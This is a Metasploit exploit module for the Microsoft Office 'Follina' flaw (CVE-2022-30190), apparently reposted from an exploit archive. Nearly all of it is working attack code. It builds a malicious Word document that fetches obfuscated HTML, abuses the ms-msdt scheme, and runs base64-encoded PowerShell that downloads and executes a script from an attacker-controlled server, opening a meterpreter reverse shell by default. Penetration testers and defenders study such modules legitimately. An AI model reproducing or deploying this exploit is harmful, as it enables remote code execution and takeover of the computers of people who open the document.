Share
## https://sploitus.com/exploit?id=PACKETSTORM:167438
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::FILEFORMAT  
include Msf::Exploit::Powershell  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Microsoft Office Word MSDTJS',  
'Description' => %q{  
This module generates a malicious Microsoft Word document that when loaded, will leverage the remote template  
feature to fetch an `HTML` document and then use the `ms-msdt` scheme to execute `PowerShell` code.  
},  
'References' => [  
['CVE', '2022-30190'],  
['URL', 'https://www.reddit.com/r/blueteamsec/comments/v06w2o/suspected_microsoft_word_zero_day_in_the_wild/'],  
['URL', 'https://twitter.com/nao_sec/status/1530196847679401984?t=3Pjrpdog_H6OfMHVLMR5eQ&s=19'],  
['URL', 'https://app.any.run/tasks/713f05d2-fe78-4b9d-a744-f7c133e3fafb/'],  
['URL', 'https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e'],  
['URL', 'https://twitter.com/GossiTheDog/status/1531608245009367040'],  
['URL', 'https://github.com/JMousqueton/PoC-CVE-2022-30190']  
],  
'Author' => [  
'nao sec', # Original disclosure.  
'mekhalleh (RAMELLA Sébastien)' # Zeop CyberSecurity  
],  
'DisclosureDate' => '2022-05-29',  
'License' => MSF_LICENSE,  
'Privileged' => false,  
'Platform' => 'win',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Payload' => {  
'DisableNops' => true  
},  
'DefaultOptions' => {  
'DisablePayloadHandler' => false,  
'FILENAME' => 'msf.docx',  
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',  
'SRVHOST' => Rex::Socket.source_address('1.2.3.4')  
},  
'Targets' => [  
[ 'Microsoft Office Word', {} ]  
],  
'DefaultTarget' => 0,  
'Notes' => {  
'AKA' => ['Follina'],  
'Stability' => [CRASH_SAFE],  
'Reliability' => [UNRELIABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]  
}  
)  
)  
  
register_options([  
OptPath.new('CUSTOMTEMPLATE', [false, 'A DOCX file that will be used as a template to build the exploit.']),  
OptBool.new('OBFUSCATE', [true, 'Obfuscate JavaScript content.', true])  
])  
end  
  
def get_file_in_docx(fname)  
i = @docx.find_index { |item| item[:fname] == fname }  
  
unless i  
fail_with(Failure::NotFound, "This template cannot be used because it is missing: #{fname}")  
end  
  
@docx.fetch(i)[:data]  
end  
  
def get_template_path  
datastore['CUSTOMTEMPLATE'] || File.join(Msf::Config.data_directory, 'exploits', 'word_msdtjs.docx')  
end  
  
def generate_html  
uri = "#{@proto}://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{normalize_uri(@my_resources.first.to_s)}.ps1"  
  
dummy = ''  
(1..random_int(61, 100)).each do |_n|  
dummy += '//' + rand_text_alpha(100) + "\n"  
end  
  
cmd = Rex::Text.encode_base64("IEX(New-Object Net.WebClient).downloadString('#{uri}')")  
  
js_content = "window.location.href = \"ms-msdt:/id PCWDiagnostic /skip force /param \\\"IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=h$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'#{cmd}'+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO\\\"\";"  
if datastore['OBFUSCATE']  
print_status('Obfuscate JavaScript content')  
  
js_content = Rex::Exploitation::JSObfu.new js_content  
js_content = js_content.obfuscate(memory_sensitive: false)  
end  
  
html = '<!DOCTYPE html><html><head><meta http-equiv="Expires" content="-1"><meta http-equiv="X-UA-Compatible" content="IE=11"></head><body><script>'  
html += "\n#{dummy}\n#{js_content}\n"  
html += '</script></body></html>'  
  
html  
end  
  
def inject_docx  
document_xml = get_file_in_docx('word/document.xml')  
unless document_xml  
fail_with(Failure::NotFound, 'This template cannot be used because it is missing: word/document.xml')  
end  
  
document_xml_rels = get_file_in_docx('word/_rels/document.xml.rels')  
unless document_xml_rels  
fail_with(Failure::NotFound, 'This template cannot be used because it is missing: word/_rels/document.xml.rels')  
end  
  
uri = "#{@proto}://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{normalize_uri(@my_resources.first.to_s)}.html"  
@docx.each do |entry|  
case entry[:fname]  
when 'word/_rels/document.xml.rels'  
entry[:data] = document_xml_rels.to_s.gsub!('TARGET_HERE', "#{uri}&#x21;")  
end  
end  
end  
  
def normalize_uri(*strs)  
new_str = strs * '/'  
  
new_str = new_str.gsub!('//', '/') while new_str.index('//')  
  
# makes sure there's a starting slash  
unless new_str.start_with?('/')  
new_str = '/' + new_str  
end  
  
new_str  
end  
  
def on_request_uri(cli, request)  
header_html = {  
'Access-Control-Allow-Origin' => '*',  
'Access-Control-Allow-Methods' => 'GET, POST',  
'Cache-Control' => 'no-store, no-cache, must-revalidate',  
'Content-Type' => 'text/html; charset=UTF-8'  
}  
  
if request.method.eql? 'HEAD'  
send_response(cli, '', header_html)  
elsif request.method.eql? 'OPTIONS'  
response = create_response(501, 'Unsupported Method')  
response['Content-Type'] = 'text/html'  
response.body = ''  
  
cli.send_response(response)  
elsif request.raw_uri.to_s.end_with? '.html'  
print_status('Sending HTML Payload')  
  
send_response_html(cli, generate_html, header_html)  
elsif request.raw_uri.to_s.end_with? '.ps1'  
print_status('Sending PowerShell Payload')  
  
send_response(cli, @payload_data, header_html)  
end  
end  
  
def pack_docx  
@docx.each do |entry|  
if entry[:data].is_a?(Nokogiri::XML::Document)  
entry[:data] = entry[:data].to_s  
end  
end  
  
Msf::Util::EXE.to_zip(@docx)  
end  
  
def primer  
print_status('Generating a malicious docx file')  
  
@proto = (datastore['SSL'] ? 'https' : 'http')  
  
template_path = get_template_path  
unless File.extname(template_path).downcase.end_with?('.docx')  
fail_with(Failure::BadConfig, 'Template is not a docx file!')  
end  
  
print_status("Using template '#{template_path}'")  
@docx = unpack_docx(template_path)  
  
print_status('Injecting payload in docx document')  
inject_docx  
  
print_status("Finalizing docx '#{datastore['FILENAME']}'")  
file_create(pack_docx)  
  
@payload_data = cmd_psh_payload(payload.encoded, payload_instance.arch.first, remove_comspec: true, exec_in_place: true)  
  
super  
end  
  
def random_int(min, max)  
rand(max - min) + min  
end  
  
def unpack_docx(template_path)  
document = []  
  
Zip::File.open(template_path) do |entries|  
entries.each do |entry|  
if entry.name.downcase.end_with?('.xml', '.rels')  
content = Nokogiri::XML(entry.get_input_stream.read) if entry.file?  
elsif entry.file?  
content = entry.get_input_stream.read  
end  
  
vprint_status("Parsing item from template: #{entry.name}")  
  
document << { fname: entry.name, data: content }  
end  
end  
  
document  
end  
  
end